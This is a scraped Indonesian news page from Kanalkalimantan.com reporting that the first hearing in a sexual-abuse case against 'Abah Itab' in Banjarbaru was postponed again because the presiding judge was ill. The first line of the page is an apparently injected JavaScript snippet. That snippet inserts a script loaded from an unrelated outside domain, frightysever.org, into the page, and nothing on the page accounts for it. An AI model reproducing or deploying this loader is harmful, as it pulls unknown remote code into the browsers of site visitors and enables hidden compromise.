(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Ketua Majelis Sakit, Sidang Perdana Abah Itab Kembali Ditunda


BANJARBARU, Sidang perdana kasus perkara pidana pencabulan dengan tersangka M Said Attap Tazani alias Abah Itab yang digelar di Kantor Pengadilan Negeri Banjarbaru di Jalan Trikora No 3 kota Banjarbaru, Rabu (28/3) pukul 10.00 Wita kembali batal. Alasannya, Ketua Majelis Hakim Liliek Fitri Handayani SH yang memimpin sidang ini sedang sakit. Sebelumnya, sidang yang sama juga batal digelar gara-gara kuasa hukum tersangka terlambat datang.

Kasi Pidum Kejaksaan Negeri Banjarbaru, Imam Cahyono mengatakan sidang terpaksa kembali tertunda karena ketua majelis hakimnya tak bisa datang karena sakit. “Benar hari ini sidang perdana dengan tersangka Abah Itab kembali ditunda dikarenakan Ketua Majelis Hakimnya sedang sakit. Jadi ada perubahan jadwal,” terangnya.

Sidang perdana hari ini yang mestinya dipimpin oleh Liliek didampingi dua hakim anggota Vivi Indrasusi S.SH, MH dan Achmad Faisal M.SH, MH, mengagendakan pembacaan dakwaan. Tapi karena halangan tersebut, sidang akan kembali digelar minggu depan dengan agenda sama.

Abah Itab sendiri tiba di Kantor Pengadilan Negeri Banjarbaru sekitar pukul 10.40 WITA menggunakan mobil tahanan. Terlihat Abah Itab menggunakan baju putih bermotif batik dengan tangan diborgol. Saat Abah Itab keluar dari ruangan sidang, Kanalkalimantan.com mencoba menanyakan terkait penundaan sidang ini. Namun dia memilih bungkam.

Sementara itu, Kuasa Hukum tersangka Abdul Hamid SH, MH, tidak banyak komentar terkait sidang yang gagal tersebut. Dia hanya mengungkapkan, rencanya tadi akan mengajukan eksepsi (penolakan atau keberatan yang disampaikan oleh seorang terdakwa) saat pembacaan dakwaan.

“Kita akan mengajukan eksepsi ketika dakwaan telah dibacakan, terlepas dari apakah beliau benar melakukan apa yang didakwakan oleh Jaksa itu nanti. Kita tanggapi secara tertulis,” ujarnya.

Sebelumnya, sidang kasus asusila dengan tersangka Abah Itab yang rencananya digelar Selasa (21/3)  pukul 11.00 Wita, ditunda lantaran kuasa hukum terdakwa terlambat datang. Sekitar pukul 12.00 Wita, kuasa hukum Abah Itab baru memasuki ruang sidang, namun hakim ketua majelis sidang Liliek Fitri Handayani SH tidak dapat mentolerir keterlambatan yang dilakukan kuasa hukum Abah Itab.

Kasi Pidana Umum Kejari Banjabaru Imam Cahyono SH mengatakan, kuasa hukum Abah Itab terlambat karena arus lalu lintas yang macet dan akibatnya, sidang pun harus ditunda. “Katanya sih macet, tapi mau bagaimana lagi sidangnya harus ditunda, dan kejadian ini juga bisa jadi sentilan untuk lawyer tersangka,” ujarnya. (rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.